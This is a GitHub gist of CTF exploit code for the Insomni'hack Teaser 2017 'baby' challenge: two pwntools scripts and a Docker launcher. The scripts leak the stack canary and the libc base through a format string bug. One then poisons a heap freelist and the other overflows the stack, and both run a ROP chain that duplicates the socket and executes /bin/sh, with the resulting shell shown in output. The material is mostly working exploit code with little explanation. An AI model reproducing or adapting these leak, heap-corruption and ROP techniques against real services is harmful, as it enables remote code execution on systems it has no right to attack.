Skip to content

Instantly share code, notes, and snippets.

@Tosainu
Last active March 27, 2017 04:51
Show Gist options
  • Save Tosainu/6e383ac1ec41e8d6f6ce60c3643bae12 to your computer and use it in GitHub Desktop.
Save Tosainu/6e383ac1ec41e8d6f6ce60c3643bae12 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
# Insomni'hack Teaser 2017 : baby-50
# https://github.com/ctfs/write-ups-2017/tree/master/insomnihack-teaser-2017/pwn/baby-50
from pwn import *
import sys
# Your format > AAAAAAAA.%9$p
# AAAAAAAA.0x4141414141414141
# RIP: 0x563c42bf65af --> 0xff4de9fffff8fce8
# gdb-peda$ x/200 $rsp
# 0x7fff0a8ece60: 0x00007fff0a8ecf70 0x00000004 <- socket_fd c9488011
# 0x7fff0a8ece70: 0x0000000000000000 0x000000094308b5c8
# 0x7fff0a8ece80: 0x4141414141414141 0x00007f73c98a000a
# 0x7fff0a8ece90: 0x00007f73c9ac2d78 0x00007f73c98aa420
# ...
# 0x7fff0a8ecf60: 0x00000000fd09cf21 0x00007f73c98aa8d9
# 0x7fff0a8ecf70: 0x00000000ffffffff 0x00007f73c98aaa17
# 0x7fff0a8ecf80: 0x00007f73c9abc760 <- libc? 0x00007f73ca07c4c0
# 0x7fff0a8ecf90: 0x00007f73c9ac2058 0x00007f73ca07c4c0
# ...
# 0x7fff0a8ed270: 0x00007fff0a8ed2b0 0x0000000442bf635c
# 0x7fff0a8ed280: 0x0000000000000002 0x9b487b9b1b7df600 <- canary
# 0x7fff0a8ed290: 0x00007fff0a8ed2c0 <- saved rbp 0x0000563c42bf69cf <- addr_handle+123
# 0x7fff0a8ed2a0: 0x0000000000000000 0x0000000442bf6f09
# ...
# gdb-peda$ vmmap
# Start End Perm Name
# 0x0000563c42bf5000 0x0000563c42bf8000 r-xp /work/baby-patched
# 0x0000563c42df7000 0x0000563c42df8000 r--p /work/baby-patched
# 0x0000563c42df8000 0x0000563c42df9000 rw-p /work/baby-patched
# 0x00007f73c9ab2000 0x00007f73c9c53000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so
# ...
fsb_offset_buffer = 9
fsb_offset_fd = fsb_offset_buffer + ((0x7fff0a8ece68 - 0x7fff0a8ece80) / 8)
fsb_offset_libc = fsb_offset_buffer + ((0x7fff0a8ecf80 - 0x7fff0a8ece80) / 8)
fsb_offset_canary = fsb_offset_buffer + ((0x7fff0a8ed288 - 0x7fff0a8ece80) / 8)
fsb_offset_rbp = fsb_offset_buffer + ((0x7fff0a8ed290 - 0x7fff0a8ece80) / 8)
fsb_offset_return = fsb_offset_buffer + ((0x7fff0a8ed298 - 0x7fff0a8ece80) / 8)
# $ r2 -A baby
# [0x00000ff0]> afl~handle
# 0x00001954 16 171 sym.handle
offset_handle = 0x00001954
# $ r2 -A libc.so
# [0x00021c50]> afl~dup2,execve,exit
# 0x00037b60 4 108 sym.exit
# 0x00037d90 4 79 sym.__cxa_atexit
# 0x00037f60 5 32 -> 107 sym.quick_exit
# 0x00037f80 5 17 -> 92 sym.__cxa_at_quick_exit
# 0x00037fa0 8 268 -> 263 sym.__cxa_thread_atexit_impl
# 0x000ba2b0 6 85 -> 77 sym._exit
# 0x000ba310 3 34 sym.execve
# 0x000ba340 8 180 -> 174 sym.fexecve
# 0x000da6d0 10 138 -> 130 sym.posix_spawn_file_actions_adddup2
# 0x000dc240 3 33 sym.__dup2
# 0x000f49b0 5 86 -> 83 sym.pthread_exit
# 0x00116db0 1 37 sym.svc_exit
offset_libc_exit = 0x00037b60
offset_libc_execve = 0x000ba310
offset_libc_dup2 = 0x000dc240
offset_libc_ret = 0x00000937 # 0x00000937: ret ; (7393 found)
offset_libc_pop_rdi_ret = 0x00022482 # 0x00022482: pop rdi ; ret ; (480 found)
offset_libc_pop_rsi_ret = 0x00024125 # 0x00024125: pop rsi ; ret ; (166 found)
offset_libc_pop_rdx_ret = 0x00001b96 # 0x00001b96: pop rdx ; ret ; (6 found)
# $ strings -tx libc.so | grep bin/sh
# 1633e8 /bin/sh
offset_libc_bin_sh = 0x1633e8
context(os='linux', arch='amd64')
if 'remote' in sys.argv:
r = None
else:
r = remote('172.17.0.2', 1337)
# Welcome to baby's first pwn.
# Pick your favorite vuln :
# 1. Stack overflow
# 2. Format string
# 3. Heap Overflow
# 4. Exit
# Your choice >
log.info('leak informations')
r.recvuntil('Your choice > ')
r.sendline('2')
r.recvuntil('Your format > ')
r.sendline('%{}$p.%{}$p.%{}$p.%{}$p.%{}$p.'.format(fsb_offset_fd, fsb_offset_canary,
fsb_offset_return, fsb_offset_libc,
fsb_offset_rbp))
socket_fd = int(r.recvuntil('.')[:-1], 16) >> 32
canary = int(r.recvuntil('.')[:-1], 16)
addr_base = int(r.recvuntil('.')[:-1], 16) - offset_handle - 123
addr_libc_base = int(r.recvuntil('.')[:-1], 16) - 0xa760
rbp = int(r.recvuntil('.')[:-1], 16) - 0x20 - 0x10
log.success('socket fd: 0x{:x}'.format(socket_fd))
log.success('canary: 0x{:x}'.format(canary))
log.success('rbp: 0x{:x}'.format(rbp))
log.success('base address: 0x{:x}'.format(addr_base))
log.success('libc base address: 0x{:x}'.format(addr_libc_base))
r.sendline('')
r.recvuntil('Your choice > ')
r.sendline('3')
# Help yourself with the following functions :
# 1. Alloc
# 2. Free
# 3. Read into chunk
# 4. View chunks
# 5. Return
# Your choice >
log.info('alloc 0x28 bytes buffer x2')
buffers = []
for i in range(0, 2):
r.recvuntil('Your choice > ')
r.sendline('1')
r.recvuntil('Choose chunk > ')
r.sendline(str(i))
r.recvuntil('Choose size > ')
r.sendline(str(0x28))
r.recvuntil('Allocated chunk {} @ '.format(i))
buf = int(r.recvuntil('\n')[:-1], 16)
log.success('buffer {} address: 0x{:x}'.format(i, buf))
buffers.append(buf)
log.info('free buffer 1 and buffer 0')
for i in [1, 0]:
r.recvuntil('Your choice > ')
r.sendline('2')
r.recvuntil('Choose chunk > ')
r.sendline(str(i))
log.info('overwrite chunk 1 via buffer 0')
# gdb-peda$ x/20gx 0x55c85db5a530
# 0x55c85db5a530: 0x0000000000000000 0x0000000000000031 <- chunk 0
# 0x55c85db5a540: 0x000055c85db5a560 0x0000000000000000
# 0x55c85db5a550: 0x0000000000000000 0x0000000000000000
# 0x55c85db5a560: 0x0000000000000000 0x0000000000000031 <- chunk 1
# 0x55c85db5a570: 0x0000000000000000 0x0000000000000000
# 0x55c85db5a580: 0x0000000000000000 0x0000000000000000
# 0x55c85db5a590: 0x0000000000000000 0x000000000001ea71
# 0x000055c85d3c2652 in doheap ()
# gdb-peda$ x/160gx $rsp
# 0x7ffed63b2460: 0x00007ffed63b2590 0x0000000403f4273c
# 0x7ffed63b2470: 0x00007ffed63b2580 0x00007fca42031011
# 0x7ffed63b2480: 0x0000000000000000 0x0000000000000000
# ...
# 0x7ffed63b2870: 0x0000000000000000 0x0000000000000000
# 0x7ffed63b2880: 0x3131313131313131 <- input buf 0x000000045d3c230a
# 0x7ffed63b2890: 0x0000000000000002 0x462a89ed5184b600 <- canary
# 0x7ffed63b28a0: 0x00007ffed63b28d0 <- saved rbp 0x000055c85d3c29db <- addr_handle+135
# 0x7ffed63b28b0: 0x0000000000000000 0x000000045d3c2f09
buf = ''
# buffer 0
buf += p64(buffers[1] - 0x10) # fd
buf += 'A' * 0x20
# chunk 1
buf += p64(0x31) # size
buf += p64(rbp - 0x20) # fd = addr_input_buf
r.recvuntil('Your choice > ')
r.sendline('3')
r.recvuntil('Choose chunk > ')
r.sendline('0')
r.recvuntil('Choose size > ')
r.sendline(str(len(buf)))
r.send(buf)
log.info('alloc 0x28 bytes buffer x3')
for i in range(2, 5):
r.recvuntil('Your choice > ')
r.send('1'.ljust(8, '\x00') * 2)
r.recvuntil('Choose chunk > ')
r.sendline(str(i))
r.recvuntil('Choose size > ')
r.sendline(str(0x28))
r.recvuntil('Allocated chunk {} @ '.format(i))
buf = int(r.recvuntil('\n')[:-1], 16)
log.success('buffer {} address: 0x{:x}'.format(i, buf))
buffers.append(buf)
log.info('overwrite return address via buffer 4')
buf = ''
buf += 'A' * 8
buf += p64(canary)
buf += p64(rbp + 0x20 + 0x10)
# dup2(4, 0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(socket_fd)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_dup2)
# dup2(4, 1)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(1)
buf += p64(addr_libc_base + offset_libc_dup2)
# dup2(4, 2)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(2)
buf += p64(addr_libc_base + offset_libc_dup2)
# execve("/bin/sh", 0, 0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(addr_libc_base + offset_libc_bin_sh)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_pop_rdx_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_execve)
# exit(0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_exit)
r.recvuntil('Your choice > ')
r.sendline('3')
r.recvuntil('Choose chunk > ')
r.sendline('4')
r.recvuntil('Choose size > ')
r.sendline(str(len(buf)))
r.send(buf)
log.info('trigger ROP')
r.recvuntil('Your choice > ')
r.sendline('5')
r.interactive()
"""
$ ./heap_bof.py
[+] Opening connection to 172.17.0.2 on port 1337: Done
[*] leak informations
[+] socket fd: 0x4
[+] canary: 0x404fc96c3a836400
[+] rbp: 0x7ffe602496c0
[+] base address: 0x5636a6d65000
[+] libc base address: 0x7f40020f4000
[*] alloc 0x28 bytes buffer x2
[+] buffer 0 address: 0x5636a8335540
[+] buffer 1 address: 0x5636a8335570
[*] free buffer 1 and buffer 0
[*] overwrite chunk 1 via buffer 0
[*] alloc 0x28 bytes buffer x3
[+] buffer 2 address: 0x5636a8335540
[+] buffer 3 address: 0x5636a8335570
[+] buffer 4 address: 0x7ffe602496b0
[*] overwrite return address via buffer 4
[*] trigger ROP
[*] Switching to interactive mode
$ id
uid=1000(baby) gid=1000(baby) groups=1000(baby)
$
[*] Closed connection to 172.17.0.2 port 1337
"""
#!/usr/bin/env python2
# Insomni'hack Teaser 2017 : baby-50
# https://github.com/ctfs/write-ups-2017/tree/master/insomnihack-teaser-2017/pwn/baby-50
from pwn import *
import sys
# Your format > AAAAAAAA.%9$p
# AAAAAAAA.0x4141414141414141
# RIP: 0x563c42bf65af --> 0xff4de9fffff8fce8
# gdb-peda$ x/200 $rsp
# 0x7fff0a8ece60: 0x00007fff0a8ecf70 0x00000004 <- socket_fd c9488011
# 0x7fff0a8ece70: 0x0000000000000000 0x000000094308b5c8
# 0x7fff0a8ece80: 0x4141414141414141 0x00007f73c98a000a
# 0x7fff0a8ece90: 0x00007f73c9ac2d78 0x00007f73c98aa420
# ...
# 0x7fff0a8ecf60: 0x00000000fd09cf21 0x00007f73c98aa8d9
# 0x7fff0a8ecf70: 0x00000000ffffffff 0x00007f73c98aaa17
# 0x7fff0a8ecf80: 0x00007f73c9abc760 <- libc? 0x00007f73ca07c4c0
# 0x7fff0a8ecf90: 0x00007f73c9ac2058 0x00007f73ca07c4c0
# ...
# 0x7fff0a8ed270: 0x00007fff0a8ed2b0 0x0000000442bf635c
# 0x7fff0a8ed280: 0x0000000000000002 0x9b487b9b1b7df600 <- canary
# 0x7fff0a8ed290: 0x00007fff0a8ed2c0 0x0000563c42bf69cf <- addr_handle+123
# 0x7fff0a8ed2a0: 0x0000000000000000 0x0000000442bf6f09
# ...
# gdb-peda$ vmmap
# Start End Perm Name
# 0x0000563c42bf5000 0x0000563c42bf8000 r-xp /work/baby-patched
# 0x0000563c42df7000 0x0000563c42df8000 r--p /work/baby-patched
# 0x0000563c42df8000 0x0000563c42df9000 rw-p /work/baby-patched
# 0x00007f73c9ab2000 0x00007f73c9c53000 r-xp /lib/x86_64-linux-gnu/libc-2.19.so
# ...
fsb_offset_buffer = 9
fsb_offset_fd = fsb_offset_buffer + ((0x7fff0a8ece68 - 0x7fff0a8ece80) / 8)
fsb_offset_libc = fsb_offset_buffer + ((0x7fff0a8ecf80 - 0x7fff0a8ece80) / 8)
fsb_offset_canary = fsb_offset_buffer + ((0x7fff0a8ed288 - 0x7fff0a8ece80) / 8)
fsb_offset_return = fsb_offset_buffer + ((0x7fff0a8ed298 - 0x7fff0a8ece80) / 8)
# $ r2 -A baby
# [0x00000ff0]> afl~handle
# 0x00001954 16 171 sym.handle
offset_handle = 0x00001954
# $ r2 -A libc.so
# [0x00021c50]> afl~dup2,execve,exit
# 0x00037b60 4 108 sym.exit
# 0x00037d90 4 79 sym.__cxa_atexit
# 0x00037f60 5 32 -> 107 sym.quick_exit
# 0x00037f80 5 17 -> 92 sym.__cxa_at_quick_exit
# 0x00037fa0 8 268 -> 263 sym.__cxa_thread_atexit_impl
# 0x000ba2b0 6 85 -> 77 sym._exit
# 0x000ba310 3 34 sym.execve
# 0x000ba340 8 180 -> 174 sym.fexecve
# 0x000da6d0 10 138 -> 130 sym.posix_spawn_file_actions_adddup2
# 0x000dc240 3 33 sym.__dup2
# 0x000f49b0 5 86 -> 83 sym.pthread_exit
# 0x00116db0 1 37 sym.svc_exit
offset_libc_exit = 0x00037b60
offset_libc_execve = 0x000ba310
offset_libc_dup2 = 0x000dc240
offset_libc_ret = 0x00000937 # 0x00000937: ret ; (7393 found)
offset_libc_pop_rdi_ret = 0x00022482 # 0x00022482: pop rdi ; ret ; (480 found)
offset_libc_pop_rsi_ret = 0x00024125 # 0x00024125: pop rsi ; ret ; (166 found)
offset_libc_pop_rdx_ret = 0x00001b96 # 0x00001b96: pop rdx ; ret ; (6 found)
# $ strings -tx libc.so | grep bin/sh
# 1633e8 /bin/sh
offset_libc_bin_sh = 0x1633e8
context(os='linux', arch='amd64')
if 'remote' in sys.argv:
r = None
else:
r = remote('172.17.0.2', 1337)
# Welcome to baby's first pwn.
# Pick your favorite vuln :
# 1. Stack overflow
# 2. Format string
# 3. Heap Overflow
# 4. Exit
# Your choice >
r.recvuntil('Your choice > ')
r.sendline('2')
r.recvuntil('Your format > ')
r.sendline('%{}$p.%{}$p.%{}$p.%{}$p.'.format(fsb_offset_fd, fsb_offset_canary,
fsb_offset_return, fsb_offset_libc))
socket_fd = int(r.recvuntil('.')[:-1], 16) >> 32
canary = int(r.recvuntil('.')[:-1], 16)
addr_base = int(r.recvuntil('.')[:-1], 16) - offset_handle - 123
addr_libc_base = int(r.recvuntil('.')[:-1], 16) - 0xa760
log.success('socket fd: 0x{:x}'.format(socket_fd))
log.success('canary: 0x{:x}'.format(canary))
log.success('base address: 0x{:x}'.format(addr_base))
log.success('libc base address: 0x{:x}'.format(addr_libc_base))
r.sendline('')
r.recvuntil('Your choice > ')
r.sendline('1')
buf = ''
# gdb-peda$ patto 0x41296e413b6e4144
# 4695405312959463748 found at offset: 1032
buf += 'A' * 1032
buf += p64(canary)
buf += p64(addr_libc_base + offset_libc_ret) * 4
# dup2(4, 0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(socket_fd)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_dup2)
# dup2(4, 1)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(1)
buf += p64(addr_libc_base + offset_libc_dup2)
# dup2(4, 2)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(2)
buf += p64(addr_libc_base + offset_libc_dup2)
# execve("/bin/sh", 0, 0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(addr_libc_base + offset_libc_bin_sh)
buf += p64(addr_libc_base + offset_libc_pop_rsi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_pop_rdx_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_execve)
# exit(0)
buf += p64(addr_libc_base + offset_libc_pop_rdi_ret)
buf += p64(0)
buf += p64(addr_libc_base + offset_libc_exit)
log.info('send ROP ({} bytes)'.format(len(buf)))
r.recvuntil('How much bytes you want to send ? ')
r.sendline(str(len(buf)))
r.send(buf)
r.recvuntil('Good luck !\n')
r.interactive()
#!/usr/bin/bash
set -e
echo "[*] starting a docker container"
CID=$(docker run -v "$PWD":/work -d debian /bin/bash -c "
set -e
adduser baby
/work/baby
")
# http://stackoverflow.com/questions/17157721/getting-a-docker-containers-ip-address-from-the-host
docker inspect --format '[+] nc {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}} 1337' $CID
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment